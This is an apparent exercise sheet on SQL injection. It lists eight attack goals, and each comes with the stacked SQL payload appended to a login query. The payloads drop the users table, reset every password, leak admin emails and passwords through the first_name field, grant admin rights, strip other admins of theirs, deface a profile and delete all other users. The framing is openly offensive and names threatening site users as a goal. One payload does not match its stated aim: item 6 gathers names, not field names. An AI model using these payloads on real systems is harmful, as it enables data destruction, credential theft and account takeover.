1. Drop the entire users table?

   ```
   SELECT *

   FROM Users

   WHERE email = 0 OR id = 135;

   DROP TABLE users;
   ```

2. Update everyone's password to your password (allowing you to login to anyone's account using your password).

   ```
   SELECT *

   FROM Users

   WHERE email = 0 OR id = 135;

   UPDATE users

   SET password = 123456;
   ```

3. Update your first_name to be the email and password of all users who is an admin (assume that there is a field in the users table called is_admin where it's 0 if the user is not an admin, or 1 if the user is an admin). This way, when you log out and log back in, instead of saying Welcome [your first_name], it would say Welcome ___what ever was stored in first_name field___.

   ```
   SELECT *

   FROM Users

   WHERE email = 0 OR id = 135;

   UPDATE users

   SET users.first_name =

   (

           SELECT CONCAT(email, ',' ,password)

           FROM (SELECT * FROM users) AS something

           WHERE is_admin = 1

   )

   WHERE id = 135;
   ```

4. Update your user access so that you now have an admin access.
   SELECT * FROM Users WHERE email = 0 OR id = 135;
   UPDATE users
   SET users.is_admin = 1
   WHERE id = 135;
5. Update all the user access of the admin so that they are no longer admin (this way, you are now the only one having admin access and you can threaten the site users).
   SELECT * FROM Users WHERE email = 0 OR id = 135;
   UPDATE users
   SET users.is_admin = 0
   WHERE id != 135;
6. Update your first_name to now contain all the field names available in the users table (to see if. there are other sensitive information you can hack).
   SELECT * FROM Users WHERE email = 0 OR id = 135;
   UPDATE users
   SET first_name =
   (
           SELECT GROUP_CONCAT(CONCAT(first_name ,last_name) SEPARATOR ', ') as something
           FROM (SELECT * FROM users) AS something
           GROUP BY 'all'
)
   WHERE id = 135;
7. Update the first_name of user id = 1 who is an admin to 'You have been hacked!'. When this user logs in, instead of saying Welcome [first_name]. It would say, "Welcome You have been hacked!".

   SELECT * FROM Users WHERE email = 0 OR id = 135;

   UPDATE users

   SET first_name = 'You have been hacked!'

   WHERE is_admin = 1;

8. Delete all users except yourself

   SELECT * FROM Users WHERE email = 0 OR id = 135;

   DELETE FROM users

   WHERE id != 135;